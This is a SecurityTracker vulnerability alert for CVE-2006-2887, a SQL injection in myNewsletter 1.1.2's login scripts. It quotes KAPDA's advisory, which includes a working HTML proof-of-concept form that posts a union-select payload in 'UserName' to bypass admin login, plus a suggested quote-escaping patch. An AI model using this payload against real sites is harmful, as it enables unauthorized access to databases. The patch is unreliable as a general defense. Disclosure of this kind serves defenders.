myNewsletter Missing Input Validation in 'UserName' Parameter Permits SQL Injection Attacks
|
SecurityTracker Alert ID: 1016229 |
SecurityTracker URL: http://securitytracker.com/id/1016229
|
CVE Reference:
CVE-2006-2887
(Links to External Site)
|
Updated: May 22 2009
|
Original Entry Date: Jun 6 2006
|
Impact:
Disclosure of system information, Disclosure of user information, User access via network
|
Exploit Included: Yes
|
Version(s): 1.1.2
|
Description:
A vulnerability was reported in myNewsletter. A remote user can inject SQL commands.
The 'validatelogin.asp' or 'adminlogin.asp' scripts do not properly validate user-supplied input in the 'UserName' parameter. A remote user can supply a specially crafted parameter value to execute SQL commands on the underlying database.
The vendor was notified on June 6, 2006.
The original advisory is available at:
http://www.kapda.ir/advisory-340.html
FarhadKey of KAPDA discovered this vulnerability.
|
Impact:
A remote user can execute SQL commands on the underlying database.
|
Solution:
No solution was available at the time of this entry.
|
Vendor URL: www.aspburst.com/ (Links to External Site)
|
Cause:
Input validation error
|
Underlying OS: Windows (Any)
|
|
Message History:
None.
|
Source Message Contents
|
Subject: [KAPDA::#47] - myNewsletter 1.1.2 SQL_Injection
|
[KAPDA::#47] - myNewsletter 1.1.2 SQL_Injection
SQL_Injection
-------
KAPDA New advisory
Vulnerable products : myNewsletter <= 1.1.2
Vendor: http://www.aspburst.com/index.asp
Risk: Medium
Vulnerability: SQL_Injection
Date :
--------------------
Found : 2006/06/05
Vendor Contacted : 2006/06/06
Release Date : 2006/06/06
Discussion :
----------------
At parameter named 'UserName' in "validatelogin.asp" or "adminlogin.asp", Attacker can enter SQL command to login to the system.
Proof of Concepts:
--------------------
<html><center><h1>KAPDA myNewsletter 1.1.2 Login bypass PoC</h1><br>change action in source and then submit
</center><form name="adminLogin" method="post" action="http://www.site.com/newsletter/adminLogin.asp">
<input type="hidden" name="UserName" value="<!--'union select 1 from Newsletter_Admin where ''='">
<input type="hidden" name="Password" value="1">
<center><br><input type="submit" name="Submit" value="Login"></center><br><br>
<!-- Discovered and coded by FarhadKey / email : farhadkey [aT} kapda {D0T} net -->
<center><a href="http://www.kapda.ir">www.kapda.ir</a></center>
</form>
</html>
Solution:
--------------------
Nothing yet by vendor .
Our solution :
in 'validatelogin.asp' :
function validateLogin(theUserName, thePassword)
sqlString = "Select Password from Newsletter_Admin Where UserName = '" &theUserName& "'"
change to this :
function validateLogin(theUserName, thePassword)
theUserName = replace(theUserName,"'","''")
sqlString = "Select Password from Newsletter_Admin Where UserName = '" &theUserName& "'"
Original Advisory:
--------------------
http://www.kapda.ir/advisory-340.html
Credit :
--------------------
FarhadKey of KAPDA
farhadkey [at} kapda {d0t} net
Kapda - Security Science Researchers Insitute of Iran
http://www.KAPDA.ir
|
|